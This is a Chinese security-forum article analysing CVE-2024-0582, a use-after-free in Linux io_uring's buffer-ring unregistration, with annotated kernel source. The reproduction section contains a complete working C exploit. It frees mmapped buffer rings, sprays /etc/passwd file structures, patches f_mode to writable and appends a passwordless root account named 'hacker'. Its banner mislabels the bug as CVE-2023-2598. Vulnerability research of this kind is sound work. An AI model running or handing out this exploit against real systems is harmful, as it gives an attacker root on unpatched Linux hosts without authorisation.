CVE-2024-0582 内核提权详细分析

原文链接: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458596966&idx=1&sn=d16d119a7e4c6b4d16fe0e3570c1b46f

CVE-2024-0582 内核提权详细分析

默文 看雪学苑 2025-07-08 09:59

一、漏洞简介

漏洞编号: CVE-2024-0582

影响版本
: v6.4  < Linux Kernel < v6.6.5

漏洞产品
: linux kernel – io_uring & io_unregister_pbuf_ring & uaf

利用效果
: 本地提权

CVE-2024-0582 内核提权详细分析

二、环境搭建

复现环境:qemu + linux kernel v6.5.3

环境附件:
mowenroot/Kernel

复现流程
: 执行exp后,账号:hacker的root用户被添加。su hacker完成提权。

CVE-2024-0582 内核提权详细分析

三、漏洞原理

漏洞本质是

uaf

。从内核版本5.7
开始,为了便于管理不同的缓冲区集,

io_uring

允许应用程序注册由组 ID 标识的缓冲区池。通过

io_uring_register

opcode->IORING_REGISTER_PBUF_RING

调用

io_register_pbuf_ring()

来完成注册ID标识缓冲区。并从内核版本6.4
开始,

io_uring

还允许用户将提供的缓冲区环的分配委托给内核,由

IOU_PBUF_RING_MMAP

标识符即可生成。调用

IOU_PBUF_RING_MMAP

由内核完成分配空间后,然后使用

mmap()

标识符映射到用户的地址,但是这个操作不会修改页面结构(pgae)的引用计数
,然后使用

io_unregister_pbuf_ring()

释放申请的空间的时候会调用

put_page_testzero(page)

,对

page

引用

-1

并判断引用是否为0
,如果为0
就会释放

page

,因为

mmap

映射的时候并不会页面结构(pgae)的引用计数
,内核并不知道是否取消了内存的映射。所以就会出现映射未取消就释放

page

的情况,而导致用户虚拟地址对物理地址映射未取消的

UAF

四、漏洞分析

关于io_uring的一些基础知识之前的文章已经详细介绍过,如果师傅们感兴趣可以看看之前的文章。接下来只介绍漏洞相关的点。

NVD描述
:A memory leak flaw was found in the Linux kernel’s io_uring functionality in how a user registers a buffer ring with IORING_REGISTER_PBUF_RING, mmap() it, and then frees it. This flaw allows a local user to crash or potentially escalate their privileges on the system.

io_uring_register

提供了接口

io_register_pbuf_ring

来完成注册

ID

标识缓冲区。旨在通过

ID

来对不同的缓冲区进行管理。下面分析的

kernel

源码版本为

v6.5.3

CVE-2024-0582 内核提权详细分析

io_register_pbuf_ring

「1」  首先把用户数据复制到内核的

reg

。然后参数检查,判断

entries

是否为

2

次幂,并且限制

entries

最大不能超过

65536

。需要注意一点:意味着条目最大为

32768

「2」  如果

ctx->io_bl

为初始化时,会尝试初始化

ctx->io_bl

,这里的

io_bl

是一个

64

长度的数组。数组中存放

io_buffer_list

。如果

id

大于等于

64

时就会通过

xarray

来管理。

「3」  调用

io_buffer_get_list()

,通过

id

获取对应

bl (buf list)

,如果

bl

为空时,则会申请结构体

io_buffer_list

空间,标志为

GFP_KERNEL

「4」  当使用

IOU_PBUF_RING_MMAP

时,会调用

io_alloc_pbuf_ring()

,来申请

buf_ring

空间,否则内存页,最后将 bl加入到

ctx

中。

使用

IOU_PBUF_RING_MMAP

就会完成对

buf_ring

的空间分配,全程都由内核来完成,不同于

io_sqe_buffers_register

需要用户传入注册的地址。用户只需要指定对应注册的

ID

即可。

int io_register_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
    struct io_uring_buf_reg reg;
    struct io_buffer_list *bl, *free_bl = NULL;
    int ret;

    if (copy_from_user(&reg, arg, sizeof(reg)))
        return -EFAULT;

    if (reg.resv[0] || reg.resv[1] || reg.resv[2])
        return -EINVAL;
    if (reg.flags & ~IOU_PBUF_RING_MMAP)
        return -EINVAL;
    // 非 MMAP的时候会检查 ring_addr
    if (!(reg.flags & IOU_PBUF_RING_MMAP)) {
        if (!reg.ring_addr)
            return -EFAULT;
        if (reg.ring_addr & ~PAGE_MASK)
            return -EINVAL;
    } else {
        if (reg.ring_addr)
            return -EINVAL;
    }
    // 判断是否为 2的幂
    if (!is_power_of_2(reg.ring_entries))
        return -EINVAL;

    /* cannot disambiguate full vs empty due to head/tail size */
    // MAX限制
    if (reg.ring_entries >= 65536)
        return -EINVAL;
    // 当 0 <= id < 64 时,并且 io_bl 未初始化 
    if (unlikely(reg.bgid < BGID_ARRAY && !ctx->io_bl)) {
        // 尝试初始化 io_bl (buf list)
        int ret = io_init_bl_list(ctx);
        if (ret)
            return ret;
    }
    // 通过 id 获取对应 bl (buf list)
    bl = io_buffer_get_list(ctx, reg.bgid);
    if (bl) {
        /* if mapped buffer ring OR classic exists, don't allow */
        if (bl->is_mapped || !list_empty(&bl->buf_list))
            return -EEXIST;
    } else {
        // 申请结构体 io_buffer_list 空间
        free_bl = bl = kzalloc(sizeof(*bl), GFP_KERNEL);
        if (!bl)
            return -ENOMEM;
    }

    if (!(reg.flags & IOU_PBUF_RING_MMAP))
        // 非 IOU_PBUF_RING_MMAP 用来固定内存页
        ret = io_pin_pbuf_ring(&reg, bl);
    else
        // IOU_PBUF_RING_MMAP 会执行到这,申请 buf_ring 空间
        ret = io_alloc_pbuf_ring(&reg, bl);

    if (!ret) {
        // 正常执行
        bl->nr_entries = reg.ring_entries;
        bl->mask = reg.ring_entries - 1;
        // 将链表加入 ctx 
        io_buffer_add_list(ctx, bl, reg.bgid);
        return 0;
    }

    kfree(free_bl);
    return ret;
}

io_buffer_get_list

「1」  返回

ID

对应的

io_buffer_list(bl)

。 当 ID 符合限制的时候,会使用数组来管理  

io_buffer_list

,这个时候直接返回

ID

对应的

bl

即可。如果超过限制,则使用

xarray

来管理。

static inline struct io_buffer_list *io_buffer_get_list(struct io_ring_ctx *ctx,
                            unsigned int bgid)
{
    // 直接返回对应 io_buffer_list
    if (ctx->io_bl && bgid < BGID_ARRAY)
        return &ctx->io_bl[bgid];
    // 如果 id 超过限制,返回xarray中的空间
    return xa_load(&ctx->io_bl_xa, bgid);
}

io_alloc_pbuf_ring

「1」 为

io_uring_buf_ring

申请空间 。

buf_ring

环存放  

ring_entries

io_uring_buf_ring

,而

io_uring_buf_ring

中存放地址、长度等信息。值得注意的是:申请

pages

为复合页。

static int io_alloc_pbuf_ring(struct io_uring_buf_reg *reg,
                  struct io_buffer_list *bl)
{
    // 复合页申请
    gfp_t gfp = GFP_KERNEL_ACCOUNT | __GFP_ZERO | __GFP_NOWARN | __GFP_COMP;
    size_t ring_size;
    void *ptr;
    //  buf_ring 环存放  ring_entries 个 io_uring_buf_ring
    //  io_uring_buf_ring 指向地址等信息
    ring_size = reg->ring_entries * sizeof(struct io_uring_buf_ring);
    ptr = (void *) __get_free_pages(gfp, get_order(ring_size));
    if (!ptr)
        return -ENOMEM;

    bl->buf_ring = ptr;
    bl->is_mapped = 1;
    bl->is_mmap = 1;
    return 0;
}


io_uring_buf、io_uring_buf_ring

结构体

struct io_uring_buf {
    __u64   addr;
    __u32   len;
    __u16   bid;
    __u16   resv;
};

struct io_uring_buf_ring {
    union {
        /*
         * To avoid spilling into more pages than we need to, the
         * ring tail is overlaid with the io_uring_buf->resv field.
         */
        struct {
            __u64   resv1;
            __u32   resv2;
            __u16   resv3;
            __u16   tail;
        };
        __DECLARE_FLEX_ARRAY(struct io_uring_buf, bufs);
    };
};

io_unregister_pbuf_ring

「1」  先根据

id

获取

io_buffer_list

,如果

id

符合标志则调用

__io_remove_buffers

仅仅释放

bl->buf_ring

。而不符合标准的使用

xarray

来管理,会直接释放整个

bl

int io_unregister_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
    struct io_uring_buf_reg reg;
    struct io_buffer_list *bl;

    if (copy_from_user(&reg, arg, sizeof(reg)))
        return -EFAULT;
    if (reg.resv[0] || reg.resv[1] || reg.resv[2])
        return -EINVAL;
    if (reg.flags)
        return -EINVAL;
    // 根据 id 获取 io_buffer_list
    bl = io_buffer_get_list(ctx, reg.bgid);
    if (!bl)
        return -ENOENT;
    if (!bl->is_mapped)
        return -EINVAL;
    // 释放 bl
    __io_remove_buffers(ctx, bl, -1U);
    if (bl->bgid >= BGID_ARRAY) {
        xa_erase(&ctx->io_bl_xa, bl->bgid);
        kfree(bl);
    }
    return 0;
}

__io_remove_buffers

「1」  由

IORING_REGISTER_PBUF_RING

申请的空间,会先获取

bl->buf_ring

的虚拟地址,然后调用

put_page_testzero()

,对

page

引用

-1

,如果

当前引用==0

,则释放

page

,但是使用

mmap

映射持有时,不会对

page

引用改变,内核无法知道此时映射是否取消。

static int __io_remove_buffers(struct io_ring_ctx *ctx,
                   struct io_buffer_list *bl, unsigned nbufs)
{
    unsigned i = 0;

    /* shouldn't happen */
    if (!nbufs)
        return 0;
    
    if (bl->is_mapped) {
        i = bl->buf_ring->tail - bl->head;
        // 由 IORING_REGISTER_PBUF_RING,申请的空间
        if (bl->is_mmap) {
            struct page *page;
            // 获取虚拟地址
            page = virt_to_head_page(bl->buf_ring);
            /**
             *  [!!]漏洞处
             *  对page引用 -1,如果当前引用==0,则释放page
             *  使用mmap映射持有时,不会对page引用改变
             *  内核无法知道此时映射是否取消
            */
            if (put_page_testzero(page))
                free_compound_page(page);
            bl->buf_ring = NULL;
            bl->is_mmap = 0;
        } 

//...
    return i;
}

五、漏洞复现

本质就是篡改

filp->f_mode

为可写,然后篡改

/etc/passwd

〔1〕 初始化:绑定CPU,注册io_uring,设置最大可打开文件数 (把rlim_cur设置为rlim_max),

nr_files

最大打开

file

数量。

〔2〕 通过

IOU_PBUF_RING_MMAP

注册对应

ID

buf_ring

区域。然后通过

mmap

映射到用户空间。

〔3〕 通过

io_uring_unregister_buf_ring

释放申请的所有

buf_ring

〔4〕 喷射  

nr_files

/etc/passwd

,因为通过

O_RDONLY

标识符打开,

f_mode

固定为

0x494a801d

〔5〕 尝试使用

UAF

,通过固定的

f_flags+f_mode == 0x484a801d00008000

定位到文件处,修改

f_mode

〔6〕因为无法知道文件描述符,所以暴力对所有

/etc/passwd

进行写操作,通过返回值判断是否写入成功,非常稳定。

#define _GNU_SOURCE 
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>

#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include<sys/stat.h>
#include<sys/file.h>
#pragma pack(16)

#define __int64 long long
#define CLOSE printf(&#34;\033[0m\n&#34;);
#define RED printf(&#34;\033[31m&#34;);
#define GREEN printf(&#34;\033[36m&#34;);
#define BLUE printf(&#34;\033[34m&#34;);
#define YELLOW printf(&#34;\033[33m&#34;);
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
#define COLOR_GREEN &#34;\033[32m&#34;
#define COLOR_RED &#34;\033[31m&#34;
#define COLOR_YELLOW &#34;\033[33m&#34;
#define COLOR_BLUE &#34;\033[34m&#34;
#define COLOR_DEFAULT &#34;\033[0m&#34;
#define showAddr(var)  dprintf(2, COLOR_GREEN &#34;[*] %s -> %p\n&#34; COLOR_DEFAULT, #var, var); 
#define logu(fmt, ...) dprintf(2,  &#34;[*]  &#34; fmt &#34;\n&#34; , ##__VA_ARGS__)
#define logd(fmt, ...) dprintf(2, COLOR_BLUE &#34;[*] %s:%d &#34; fmt &#34;\n&#34; COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_GREEN &#34;[+] %s:%d &#34; fmt &#34;\n&#34; COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW &#34;[!] %s:%d &#34; fmt &#34;\n&#34; COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED &#34;[-] %s:%d &#34; fmt &#34;\n&#34; COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)                      \
    do {                                   \
        loge(fmt, ##__VA_ARGS__);          \
        loge(&#34;Exit at line %d&#34;, __LINE__); \
        exit(1);                           \
    } while (0)
#define debug(fmt, ...)                      \
    do {                                     \
        loge(fmt, ##__VA_ARGS__);            \
        loge(&#34;debug at line %d&#34;, __LINE__);  \
        getchar();                           \
    } while (0)

#define check_ret(ret, buf) do { if((ret) < 0) { die(buf); } } while(0)
#define MAX_ring_entries 65536
#define PAGE_SZIE 0x1000
void bind_cpu(int core);
void binary_dump(char *desc, void *addr, int len);
struct __attribute__((aligned(0x100))) fake_filp{
    char pad[20];
    uint32_t f_mode;
    char padding[];
};

void prep_rlimit(int *nr_files){
    struct rlimit max_file;

    getrlimit(RLIMIT_NOFILE,&max_file);
    logu(&#34;rlim_cur -> %d rlim_max -> %d&#34;,max_file.rlim_cur,max_file.rlim_max);
    max_file.rlim_cur=max_file.rlim_max;
    setrlimit(RLIMIT_NOFILE,&max_file);

    int limit = max_file.rlim_max/4;
    *nr_files = limit/2;
    logu(&#34;nr_files -> %d&#34;,*nr_files);
}

int change_mode(void* addr,uint64_t size){
    int  ret = -1;
    uint64_t* tmp = (uint64_t* )addr;
    for (size_t i = 0; i < size/8; i++)
    {
        // if( tmp[i] != 0)
        //     logi(&#34; addr: %p offset: 0x%llx -> %p&#34;,addr+i,i,tmp[i]);
        if(tmp[i]==0x494a801d00000000){
            // logw(&#34;successful!! addr: %p offset: 0x%llx -> %p&#34;,addr+i*8,i*8,tmp[i]);
            tmp[i] = 0x494f801f00000000;
            ret = 1;
            break;
        }     
    }
    return ret;  
}
int main(void){
    int nr_files,ret;
    struct io_uring ring;
    int nr_bufs = 1000;
    void** bufs;
    struct io_uring_buf_reg reg;
    int* fds;
    staticstruct stat status;
    int passwd_size,passwd_fd;
    char* hacker_buf;
    int hacker_len;
    uint64_t nr_pages,entries,mmap_size,mmap_off;
    RED;puts(&#34;[*] CVE-2023-2598 Exploit by mowen&#34;);CLOSE;

    stat(&#34;/etc/passwd&#34;,&status);
    passwd_size=status.st_size;
    logi(&#34;passwd_size -> %d&#34;,passwd_size);

    hacker_buf =(char*) malloc(passwd_size*2);
    passwd_fd = open(&#34;/etc/passwd&#34;,O_RDONLY);
    read(passwd_fd,hacker_buf,passwd_size);
    strcat(hacker_buf,&#34;hacker::0:0:root:/root:/bin/sh\n&#34;);
    hacker_len =strlen(hacker_buf);

    bind_cpu(0);
// 1、解除当前进程限制
    prep_rlimit(&nr_files);
// 2、初始化 io_uring
    check_ret(io_uring_queue_init(32,&ring,0),&#34;io_uring_queue_init fail&#34;);
    bufs = calloc(nr_bufs,sizeof(*bufs));
    fds = malloc(nr_files*(sizeof(int)));    
    /**
     * nr_pages: 有多少页,构造页数
     * entries = nr_pages*(PAGE_SIZE/sizeof(struct io_uring_buf))
     * mmap_size = entries*sizeof(struct io_uring_buf);
     */
    entries = MAX_ring_entries/2;
    if(entries>MAX_ring_entries){
        die(&#34;entries too large&#34;);
    }
    nr_pages = entries/256;
    logi(&#34;nr_pages -> %d entries -> %d&#34;,nr_pages,entries);
// 3、注册 IOU_PBUF_RING_MMAP  
    logu(&#34;register buf ring <- IOU_PBUF_RING_MMAP&#34;);

    for (size_t i = 0; i < nr_bufs; i++)
    {
        memset(&reg,0,sizeof(reg));
        reg.bgid=i;
        reg.flags=IOU_PBUF_RING_MMAP;
        reg.ring_entries=entries;
        ret=io_uring_register_buf_ring(&ring,&reg,0);
        if(ret < 0){
            die(&#34;io_uring_register_buf_ring fail [%d]&#34;,i);
        }
        mmap_size = reg.ring_entries*sizeof(struct io_uring_buf);
        mmap_off = IORING_OFF_PBUF_RING | (unsignedlonglong) i << IORING_OFF_PBUF_SHIFT;
        bufs[i] = mmap(
            NULL,
            mmap_size,
            PROT_READ|PROT_WRITE,
            MAP_SHARED,
            ring.ring_fd,
            mmap_off
        );
        if(bufs[i]==MAP_FAILED){
            die(&#34;mmap fail&#34;);
        }
        io_uring_buf_ring_init(bufs[i]);
        // logu(&#34;br[%d] -> %p&#34;,i,br[i]);
    }
    logu(&#34;unregister buf ring&#34;);
    for (size_t i = 0; i < nr_bufs; i++)
    {
        io_uring_unregister_buf_ring(&ring, i);
    }
    
    logi(&#34;sparying...&#34;);
    for (size_t i = 0; i < nr_files; i++)
    {
        fds[i] = open(&#34;/etc/passwd&#34;, O_RDONLY);
        check_ret(fds[i],&#34;failed to open file&#34;);
    }
    logi(&#34;try to leak...&#34;);
    for (size_t i = 0; i < nr_bufs; i++)
    {
        ret = change_mode(bufs[i],PAGE_SZIE*nr_pages);
        if(ret<0)continue;
        logi(&#34;change_mode success!!!&#34;);

        for (size_t i = 0; i < nr_files; i++)
            {
                if(write(fds[i],hacker_buf,hacker_len)>0){
                    logw(&#34; hacker /etc/passwd successful&#34;);
                    break;
                }                  
            }
        // debug(&#34;debug&#34;);
        stat(&#34;/etc/passwd&#34;,&status);
        logu(&#34;passwd_size -> %d&#34;,status.st_size);
        if(status.st_size==passwd_size)continue;
        logd(&#34;success!!! su hacker to get root&#34;);
        exit(0);
    }
            


    RED;puts(&#34;[*]failed&#34;);CLOSE;
    return 0;
}

void bind_cpu(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    BLUE;printf(&#34;[*] bind_cpu(%d)&#34;,core);CLOSE;
}

CVE-2024-0582 内核提权详细分析

看雪ID:
默文

https://bbs.kanxue.com/user-home-1026022.htm

*本文为看雪论坛精华文章,由 
默文

原创,转载请注明来自看雪社区

议题征集中!看雪·第九届安全开发者峰会

往期推荐

IDA旧版本插件移植后卡死的研究及修复

神奇日游保护分析——从Frida的启动说起

Linux 3.10 版本编译 qemu仿真 busybox

深入理解IOS重签名检测

驱动挂钩所有内核导出函数来进行驱动逻辑分析

图片

CVE-2024-0582 内核提权详细分析

球分享

CVE-2024-0582 内核提权详细分析

球点赞

CVE-2024-0582 内核提权详细分析

球在看

CVE-2024-0582 内核提权详细分析

点击阅读原文查看更多